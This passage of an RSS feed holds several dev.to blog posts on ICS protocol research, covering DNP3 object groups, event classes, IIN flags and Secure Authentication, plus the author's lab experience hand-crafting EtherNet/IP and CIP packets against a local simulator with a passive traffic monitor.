&lt;li&gt;&lt;strong&gt;Protected Control Execution&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With authentication complete, privileged operations, such as &lt;strong&gt;Select-Before-Operate (FC 0x03)&lt;/strong&gt; are processed normally. Requests that would otherwise require authorization can now proceed under the active authenticated session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffvest080ptxt998m8r0k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffvest080ptxt998m8r0k.png" alt="Dedicated Secure Authentication outstation processing Group 120 objects" width="799" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The Secure Authentication outstation validating Group 120 authentication objects, updating session state, and authorizing protected control operations after successful HMAC verification.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Engineering Observations
&lt;/h2&gt;

&lt;p&gt;Building this Secure Authentication implementation reinforced an important distinction that is often overlooked: &lt;strong&gt;Secure Authentication is not encryption.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Application payloads remain visible on the wire, making DNP3 traffic fully inspectable by monitoring platforms and industrial intrusion detection systems. Instead, SA v5 protects the integrity and authenticity of critical operations by ensuring that protected commands originate from an authenticated master and have not been modified or replayed in transit.&lt;/p&gt;

&lt;p&gt;Across the five phases of this research, several observations consistently emerged:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNP3 is fundamentally a &lt;strong&gt;stateful protocol&lt;/strong&gt;. Correct behavior depends not only on packet contents, but also on transport state, control sequencing, and session context.&lt;/li&gt;
&lt;li&gt;Administrative function codes deserve the same operational scrutiny as relay control commands, as they directly influence device availability and operational visibility.&lt;/li&gt;
&lt;li&gt;Transport-layer correctness is just as important as application-layer validation. Robust fragment handling and sequence tracking are essential for reliable implementations.&lt;/li&gt;
&lt;li&gt;Secure Authentication significantly strengthens DNP3 by introducing integrity verification and replay protection for sensitive operations, while remaining compatible with existing protocol deployments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Perhaps the biggest lesson from this project was methodological.&lt;/p&gt;

&lt;p&gt;Reading the specification explains what the protocol is designed to do. Packet captures show what happened on the network. Building an implementation exposes the internal decisions that connect those two perspectives.&lt;/p&gt;

&lt;p&gt;That shift,, from interacting with industrial protocols to implementing them, has fundamentally changed how I approach protocol research. Understanding parser behavior, state machines, and implementation details provides insights that are difficult to obtain through passive observation alone.&lt;/p&gt;

&lt;p&gt;The complete research laboratory, including the custom outstation implementations, master-side tooling, packet captures, screenshots, and detailed technical notes, is available in the accompanying GitHub repository.&lt;/p&gt;

&lt;p&gt;As with every project in this series, all experiments were performed in an isolated laboratory environment for protocol research, defensive engineering, and implementation analysis. No testing was conducted against production industrial systems.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ics</category>
      <category>network</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Beyond Cyclic Polling: Objects, Classes, and Outstation State in DNP3</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Tue, 28 Jul 2026 16:56:40 +0000</pubDate>
      <link>https://dev.to/null_saint/beyond-cyclic-polling-objects-classes-and-outstation-state-in-dnp3-be9</link>
      <guid>https://dev.to/null_saint/beyond-cyclic-polling-objects-classes-and-outstation-state-in-dnp3-be9</guid>
      <description>&lt;p&gt;By RUGERO Tesla (&lt;a href="https:/github.com/404saint" rel="noopener noreferrer"&gt;@404saint&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;If you approach &lt;strong&gt;DNP3 (Distributed Network Protocol 3)&lt;/strong&gt; from a background in Modbus/TCP or EtherNet/IP (CIP), your mental model of industrial communications will immediately break.&lt;/p&gt;

&lt;p&gt;In Modbus or CIP, state management is largely cyclic and stateless at the application layer. A Master polls a slave’s memory registers (e.g., &lt;em&gt;Read Holding Registers&lt;/em&gt; &lt;code&gt;0x03&lt;/code&gt;), receives a snapshot of current values, and repeats the process on a fixed timer loop. If the network link drops for 10 seconds, every intermediate state change during that window is permanently lost.&lt;/p&gt;

&lt;p&gt;DNP3 was explicitly engineered for wide-area networks (WANs) such as electrical distribution grids and water systems, where telemetry channels like serial radios, cellular and high-latency links are prone to latency, low bandwidth, and intermittent dropouts.&lt;/p&gt;

&lt;p&gt;To survive these harsh environments, DNP3 flips the operational model from &lt;strong&gt;cyclic polling to event-driven, buffered telemetry&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here is a deep dive into how DNP3 abstracts memory, categorizes events, and maintains state integrity before we jump into packet-level dissections.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Data Abstraction: Groups, Variations, and Objects
&lt;/h2&gt;

&lt;p&gt;In Modbus, you read raw memory addresses (&lt;code&gt;00001&lt;/code&gt;, &lt;code&gt;40001&lt;/code&gt;). You are responsible for knowing whether a given offset contains a bit, a 16-bit integer, or a split 32-bit float.&lt;/p&gt;

&lt;p&gt;DNP3 abstracts raw memory into &lt;strong&gt;Objects&lt;/strong&gt;, identified by &lt;strong&gt;Group&lt;/strong&gt; and &lt;strong&gt;Variation&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Group:&lt;/strong&gt; Defines the data type or container (e.g., Group 1 = Binary Input, Group 30 = Analog Input, Group 50 = Time and Date).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Variation:&lt;/strong&gt; Defines the specific byte structure, resolution, and inclusion of flag/timestamp metadata for that data type.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, if an Outstation needs to transmit an Analog Input:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Group 30, Variation 1:&lt;/strong&gt; 32-bit Analog Input with Flag.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Group 30, Variation 2:&lt;/strong&gt; 16-bit Analog Input with Flag.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Group 30, Variation 5:&lt;/strong&gt; Single-precision Floating Point with Flag.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcvhv7njyst2dsl7tz1zu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcvhv7njyst2dsl7tz1zu.png" alt="DNP3 Data Hierarchy Structure" width="800" height="307"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;DNP3 Data Hierarchy Structure — Group, Variation, and Point Index mapping.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By allowing the Master station to explicitly request specific Variations (or allowing the Outstation to select them dynamically), DNP3 optimizes bandwidth usage over constrained mediums. You don't waste 32 bits on the wire if a 16-bit integer or a single change flag is all that changed.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Event Classes and the Internal State Machine
&lt;/h2&gt;

&lt;p&gt;To prevent constant high-frequency polling across limited radio links, DNP3 separates data into &lt;strong&gt;Static Data&lt;/strong&gt; and &lt;strong&gt;Event Data&lt;/strong&gt;, divided across four internal classes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Class 0 (Static Data):&lt;/strong&gt; Represents the current real-time snapshot of points on the Outstation. Requesting Class 0 is the equivalent of a full system state readout (Integrity Poll).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Class 1 (High Priority Events):&lt;/strong&gt; Critical alarm triggers, trip signals, or high-urgency state transitions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Class 2 (Medium Priority Events):&lt;/strong&gt; Standard operational status changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Class 3 (Low Priority Events):&lt;/strong&gt; Analog deadband breaches, minor diagnostic changes, or slow-moving trend data.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Buffer Mechanism
&lt;/h3&gt;

&lt;p&gt;When a physical field value changes (e.g., a breaker trips), the Outstation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Detects&lt;/strong&gt; the state transition.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Formats&lt;/strong&gt; the change into an Event Object (e.g., Group 2 for Binary Input Event), appending a microsecond-resolution timestamp.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Appends&lt;/strong&gt; the Event Object into its local Class 1/2/3 Event Buffer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Updates&lt;/strong&gt; its internal Class 0 snapshot value.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv0h4fyovkhhxov8mh2iy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv0h4fyovkhhxov8mh2iy.png" alt="Architectural flow showing field state transitions updating Class 0 snapshot vs. pushing timestamped Event Objects into Class 1/2/3 buffers for Master polls" width="800" height="1673"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Architectural flow showing field state transitions updating Class 0 snapshot vs. pushing timestamped Event Objects into Class 1/2/3 buffers for Master polls.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When the Master polls for Class 1, 2, or 3 Events (an &lt;em&gt;Event Poll&lt;/em&gt;), the Outstation empties its event buffer over the wire. The Master doesn't just learn what the value is right now, it receives the chronological history of every single state transition that occurred since the last poll.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Unsolicited Responses: Breaking Master-Slave Hierarchy
&lt;/h2&gt;

&lt;p&gt;In standard Master-Slave/Client-Server OT architectures, an Outstation never speaks unless spoken to. If a critical transformer overheats right after a poll completes, the Master won't know until the next polling interval.&lt;/p&gt;

&lt;p&gt;DNP3 solves this via &lt;strong&gt;Unsolicited Responses&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An Outstation is configured with threshold conditions (e.g., any Class 1 Event occurring).&lt;/li&gt;
&lt;li&gt;As soon as the event enters the Class 1 buffer, the Outstation spontaneously initiates an Application-Layer response to the Master without waiting for a request.&lt;/li&gt;
&lt;li&gt;The Master accepts the event data and returns an Application-Level Confirmation (&lt;code&gt;ACK&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This fundamentally shifts the latency model: bandwidth usage remains near zero during quiescent operation, but response time for critical alarms becomes near-instantaneous.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Reliability and Integrity: IIN Bytes &amp;amp; Confirmation Loops
&lt;/h2&gt;

&lt;p&gt;Because DNP3 operates over unreliable networks, packet delivery guarantees are handled natively at the Application Layer, rather than relying solely on TCP or lower layers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Internal Indications (IIN)
&lt;/h3&gt;

&lt;p&gt;Every single Application Layer response from a DNP3 Outstation includes a 2-byte header known as the &lt;strong&gt;Internal Indications (IIN)&lt;/strong&gt; flags. These bits act as continuous system diagnostics returned to the Master in every message.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmgjh3mqqjukt6jz1t2hm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmgjh3mqqjukt6jz1t2hm.png" alt=" DNP3 16-Bit Internal Indications (IIN) Layout" width="798" height="81"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Caption: Bit-level mapping for Octet 1 (&lt;code&gt;IIN1.0&lt;/code&gt;–&lt;code&gt;IIN1.7&lt;/code&gt;) and Octet 2 (&lt;code&gt;IIN2.0&lt;/code&gt;–&lt;code&gt;IIN2.7&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Key Bit Flags Highlighted:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;IIN1.0&lt;/code&gt;: All Stations Message Received&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IIN1.4&lt;/code&gt;: Device Restart&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IIN1.5&lt;/code&gt;: Device Trouble&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IIN1.7&lt;/code&gt;: &lt;strong&gt;Event Buffer Overflow&lt;/strong&gt; &lt;em&gt;(CRITICAL: Last state/events lost)&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IIN2.1&lt;/code&gt;: Class 1 Data Available&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IIN2.2&lt;/code&gt;: Class 2 Data Available&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IIN2.3&lt;/code&gt;: Class 3 Data Available&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a communications link drops for hours and the Outstation's memory buffer completely fills up, it sets the &lt;code&gt;IIN1.7&lt;/code&gt; (Event Buffer Overflow) bit. When the connection is re-established, the Master reads this bit and immediately knows that time-series continuity was broken, triggering an automatic Class 0 Integrity Poll to re-baseline the system state.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Application Confirmation Loop
&lt;/h3&gt;

&lt;p&gt;To guarantee zero event loss:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Master polls Class 1 Events.&lt;/li&gt;
&lt;li&gt;Outstation transmits Events 1 through 5 in an Application Response (&lt;code&gt;FIN=1&lt;/code&gt;, &lt;code&gt;CON=1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Outstation retains Events 1 through 5 in its local buffer.&lt;/li&gt;
&lt;li&gt;Master receives the response, parses the events, and transmits an Application Confirm (&lt;code&gt;CONFIRM&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Only upon receiving the explicit Confirm header does the Outstation purge Events 1 through 5 from its memory buffer.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the network connection drops before step 4, the Outstation retains the events and re-transmits them on the next successful session.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary &amp;amp; Next Steps
&lt;/h2&gt;

&lt;p&gt;DNP3 trades the simplicity of cyclic register-reading for an event-driven, timestamped state machine designed for high-latency, degraded environments. Understanding these core concepts: &lt;strong&gt;Object Groups/Variations, Event Classes, Unsolicited Responses, and IIN state flags&lt;/strong&gt; is critical before analyzing traffic on the wire.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;Part 2&lt;/strong&gt;, we will fire up an active DNP3 Master/Outstation pair in the lab, trigger simulated field alarms, and inspect raw Wireshark PCAPs to dissect the exact byte-level layout of Application Layer headers, Object Requests, and IIN response flags.&lt;/p&gt;

</description>
      <category>ics</category>
      <category>ot</category>
      <category>cybersecurity</category>
      <category>network</category>
    </item>
    <item>
      <title>Why Advanced Industrial Protocols Give Raw Sockets the "Silent Treatment"</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Mon, 13 Jul 2026 22:28:35 +0000</pubDate>
      <link>https://dev.to/null_saint/why-advanced-industrial-protocols-give-raw-sockets-the-silent-treatment-33b8</link>
      <guid>https://dev.to/null_saint/why-advanced-industrial-protocols-give-raw-sockets-the-silent-treatment-33b8</guid>
      <description>&lt;p&gt;By RUGERO Tesla (&lt;a href="https:/github.com/404saint" rel="noopener noreferrer"&gt;@404saint&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;When I first ditched high-level libraries like pyModbus to build my own socket-based protocol toolkit, my goal was simple. I just wanted to see the protocols actually talk on the wire.&lt;br&gt;
Using libraries is easy. They abstract away the complexity, but they also blind you to the wire-level mechanisms. If you want to master Operational Technology (OT) security, you have to understand the bytes.&lt;/p&gt;

&lt;p&gt;Building a raw Modbus toolkit worked. But when I tried to take that same mentality and apply it to advanced protocols like &lt;strong&gt;EtherNet/IP&lt;/strong&gt; and &lt;strong&gt;DNP3&lt;/strong&gt;, reality hit hard. Treating EtherNet/IP like Modbus almost broke me.&lt;/p&gt;

&lt;p&gt;Here is the truth about what happens when you abandon abstractions, and why the wire level is a brutal teacher.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The Anatomy of a "Silent Timeout"
&lt;/h2&gt;

&lt;p&gt;With basic protocols, formatting is relatively flat. But advanced industrial protocols are nested nightmares. When you are manually crafting binary streams using Python's struct module, perfection isn't an option, it’s the baseline.&lt;/p&gt;

&lt;p&gt;Being off by &lt;strong&gt;even a single byte&lt;/strong&gt; doesn't just trigger an elegant error message. It causes a complete system breakdown:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The PLC refuses to respond.&lt;/li&gt;
&lt;li&gt;Your script hangs and hits a generic timeout.&lt;/li&gt;
&lt;li&gt;The network gives you total silence.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you're twisting a raw socket script trying to debug a timeout, the script itself gives you zero useful feedback. To actually find out where the alignment broke, I found myself digging through containerized Docker logs just to see what the simulated PLC environment was choking on.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. The Trap of Library Assumptions
&lt;/h2&gt;

&lt;p&gt;The frustration doesn't start with raw sockets, it starts when you make assumptions about high-level libraries without knowing how they work under the hood.&lt;br&gt;
If you guess how a library is handling a protocol format and you are one byte off, you enter a loop of endless guessing. You burn two hours trying to tweak the library inputs, only to realize the abstraction layer won't let you bend the packet the way you need to.&lt;/p&gt;

&lt;p&gt;The ironic part? You realize the &lt;em&gt;only&lt;/em&gt; solution left is to craft the entire payload manually from scratch. But when you step up to an advanced protocol like EtherNet/IP, that manual path becomes an uphill battle against complex session registrations and CIP (Common Industrial Protocol) routing headers.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Why Automated Tools Fail in the Field
&lt;/h2&gt;

&lt;p&gt;Relying solely on automated tools or commercial scanners is a massive liability in OT security.&lt;br&gt;
The engineers who write automated tools build them on assumptions about what a "standard" industrial environment looks like. But in the real world, &lt;strong&gt;every industrial environment is shifted a little bit.&lt;/strong&gt;&lt;br&gt;
When a tool encounters a non-standard environment, one of two things happens:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The industrial device gives the tool the silent treatment.&lt;/li&gt;
&lt;li&gt;The automated tool panics and returns a &lt;strong&gt;confident wrong answer.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The Takeaway:
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Meeting Protocols on the Wire.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is exactly why manually wrestling with raw sockets even when it drives you crazy is invaluable.When you meet these protocols directly on the wire, your perspective changes. When you are the one parsing the raw binary data streams, &lt;strong&gt;network anomalies become immediately obvious.&lt;/strong&gt; You stop guessing what a flashing link light or a timed-out script means because you know exactly which byte in the header failed to align.&lt;/p&gt;

&lt;p&gt;Abstractions are great for speed, but deep security research requires you to look at the raw bytes,even when they give you the silent treatment.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>networking</category>
      <category>opensource</category>
      <category>ics</category>
    </item>
    <item>
      <title>Abandoning Abstractions: Manually Crafting EtherNet/IP Packets Almost Broke Me</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Mon, 29 Jun 2026 21:13:20 +0000</pubDate>
      <link>https://dev.to/null_saint/abandoning-abstractions-manually-crafting-ethernetip-packets-almost-broke-me-1b2k</link>
      <guid>https://dev.to/null_saint/abandoning-abstractions-manually-crafting-ethernetip-packets-almost-broke-me-1b2k</guid>
      <description>&lt;p&gt;&lt;em&gt;By RUGERO Tesla (&lt;a href="https://github.com/404saint" rel="noopener noreferrer"&gt;@404Saint&lt;/a&gt;).&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;There is a persistent illusion in Industrial Control Systems (ICS) security research: that high-level libraries, abstraction frameworks, or protocol tooling give you a real understanding of Operational Technology (OT) behavior.&lt;/p&gt;

&lt;p&gt;They don’t.&lt;/p&gt;

&lt;p&gt;They hide the architecture.&lt;/p&gt;

&lt;p&gt;Determined to understand what actually happens when a Programmable Logic Controller (PLC) receives a control-plane command, I built an EtherNet/IP and Common Industrial Protocol (CIP) sandbox from scratch. No Scapy. No protocol wrappers. Just raw sockets, a Linux loopback interface, a &lt;code&gt;cpppo&lt;/code&gt; simulator, and a passive monitoring tool (&lt;code&gt;enip_monitor.py&lt;/code&gt;) capturing traffic in real time.&lt;/p&gt;

&lt;p&gt;It looked clean on paper. Then I reached the application layer.&lt;/p&gt;

&lt;p&gt;And things stopped behaving like theory.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Reality of the “Industrial Abstraction Layer”
&lt;/h2&gt;

&lt;p&gt;If you come from Modbus or traditional IT networking, you’re used to linear memory spaces—fixed registers, predictable offsets, and flat addressing.&lt;/p&gt;

&lt;p&gt;EtherNet/IP and CIP discard that model entirely.&lt;/p&gt;

&lt;p&gt;Instead, they introduce a structured object system wrapped inside multiple encapsulation layers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
+-----------------------------------------------------------+
| EtherNet/IP Encapsulation Header (24 bytes)               |
| → Session control, commands (0x0065, 0x006F)              |
+-----------------------------------------------------------+
| Common Packet Format (CPF)                                |
| → Routing, addressing, and transport segmentation         |
+-----------------------------------------------------------+
| CIP Application Layer                                     |
| → Service codes (0x4C, 0x4D, 0x10, etc.)                  |
+-----------------------------------------------------------+

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To communicate with a PLC at the wire level, your code must:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Establish a session using &lt;code&gt;RegisterSession (0x0065)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Wrap all subsequent requests in &lt;code&gt;SendRRData (0x006F)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Encode routing information inside CPF structures&lt;/li&gt;
&lt;li&gt;Construct symbolic or logical paths for the CIP Message Router&lt;/li&gt;
&lt;li&gt;Ensure strict byte alignment across nested payload layers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A single mistake in any layer breaks everything silently.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Wall: Fragmentation and State Confusion
&lt;/h2&gt;

&lt;p&gt;Basic tag reads (&lt;code&gt;0x4C&lt;/code&gt;) and writes (&lt;code&gt;0x4D&lt;/code&gt;) against my test dataset (&lt;code&gt;SAINT_DATA&lt;/code&gt;) worked as expected.&lt;/p&gt;

&lt;p&gt;Then I moved into fragmented transfers using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;0x52&lt;/code&gt; (Read Fragmented)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;0x53&lt;/code&gt; (Write Fragmented)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where things stopped being predictable.&lt;/p&gt;

&lt;p&gt;I was manually tracking offsets, element counts, and buffer boundaries across multiple frames. The client appeared to execute correctly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
[+] Attribute Write Resolved: write_frag.elements
[+] Attribute Write Resolved: write_frag.offset
[+] Attribute Write Resolved: write_frag.data
[+] Attribute Write Resolved: service

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But nothing changed on the wire.&lt;/p&gt;

&lt;p&gt;No values. No errors. No feedback.&lt;/p&gt;

&lt;p&gt;Just silent failure.&lt;/p&gt;

&lt;p&gt;At this level, there is no stack trace. If a single byte in the CPF or path encoding is wrong, the CIP Message Router doesn’t explain itself—it simply drops the inner execution.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Breakthrough: Observing the Wire Directly
&lt;/h2&gt;

&lt;p&gt;The turning point came from running &lt;code&gt;enip_monitor.py&lt;/code&gt; alongside my client scripts, capturing loopback traffic in real time.&lt;/p&gt;

&lt;p&gt;Instead of trusting the client’s internal state logs, I started trusting the packet stream.&lt;/p&gt;

&lt;p&gt;Then I triggered a deliberate failure by querying a non-existent tag (&lt;code&gt;NON_EXISTENT_TAG&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The monitor immediately exposed the actual system behavior:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
[!] SESSION REGISTRATION DETECTED | Handle: 0xe946f379 | Status: 0
[+] INDUSTRIAL MONITORING ALERT
Source IP   : 127.0.0.1
Session     : 0xf6d8e0cf
CIP Service : Unconnected Send (Router)
Target      : NON_EXISTENT_TAG

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The PLC responded with a clear &lt;strong&gt;General Status Code &lt;code&gt;0x05&lt;/code&gt; (Path Destination Unknown)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That moment mattered.&lt;/p&gt;

&lt;p&gt;It confirmed the mismatch between what the client believed it sent and what the wire actually carried. Once I aligned the fragmentation offsets correctly, the payload began committing cleanly.&lt;/p&gt;

&lt;p&gt;The system was never broken. The assumptions were.&lt;/p&gt;




&lt;h2&gt;
  
  
  Core Takeaway
&lt;/h2&gt;

&lt;p&gt;This project proved something simple but important:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Abstraction layers do not guarantee understanding. They often remove it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;EtherNet/IP and CIP are optimized for speed, interoperability, and extensibility. In doing so, they expose a deeply structured but highly implicit execution model where correctness depends entirely on precise packet construction.&lt;/p&gt;

&lt;p&gt;From a security perspective, this matters because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The protocol trusts correctly formatted packets by default&lt;/li&gt;
&lt;li&gt;Symbolic and object-level structures are externally observable&lt;/li&gt;
&lt;li&gt;Error states leak structural information about internal routing logic&lt;/li&gt;
&lt;li&gt;Enumeration and interaction require no authentication in many legacy configurations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Defending these systems requires working at the wire level:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Building packet-aware detection logic (e.g., Suricata/Snort rules)&lt;/li&gt;
&lt;li&gt;Monitoring encapsulation and CIP service behavior directly&lt;/li&gt;
&lt;li&gt;Enforcing strict network segmentation and device mode control&lt;/li&gt;
&lt;li&gt;Deploying CIP Security where supported&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Closing Thought
&lt;/h2&gt;

&lt;p&gt;If you want to understand OT systems properly, don’t start with tooling.&lt;/p&gt;

&lt;p&gt;Start with bytes.&lt;/p&gt;

&lt;p&gt;Raw sockets are frustrating, slow, and unforgiving but they expose what every abstraction layer tries to hide.&lt;/p&gt;




&lt;h2&gt;
  
  
  Repository
&lt;/h2&gt;

&lt;p&gt;All scripts, validation flows, and 13 supporting technical notes are documented here:&lt;/p&gt;

&lt;p&gt;👉 &lt;a href="https://github.com/404saint/industrial-protocol-labs/" rel="noopener noreferrer"&gt;https://github.com/404saint/industrial-protocol-labs/&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;This research was conducted in a controlled, isolated laboratory environment for educational and defensive security purposes only. All protocol interaction, traffic generation, and packet analysis were performed against a local simulation stack and loopback interface.&lt;/p&gt;

&lt;p&gt;This work is intended to support industrial cybersecurity understanding, detection engineering, and protocol analysis. It is not intended for use against production systems or any environment without explicit authorization and appropriate safety controls.&lt;/p&gt;

&lt;p&gt;Always ensure compliance with applicable laws, operational safety requirements, and organizational policies when working with industrial control systems.&lt;/p&gt;

</description>
      <category>ics</category>
      <category>python</category>
      <category>network</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>The Reality of Raw Sockets: When Your Packet Trace Lies and the PLC Stays Silent</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Tue, 23 Jun 2026 15:20:44 +0000</pubDate>
      <link>https://dev.to/null_saint/the-reality-of-raw-sockets-when-your-packet-trace-lies-and-the-plc-stays-silent-5a7k</link>
      <guid>https://dev.to/null_saint/the-reality-of-raw-sockets-when-your-packet-trace-lies-and-the-plc-stays-silent-5a7k</guid>
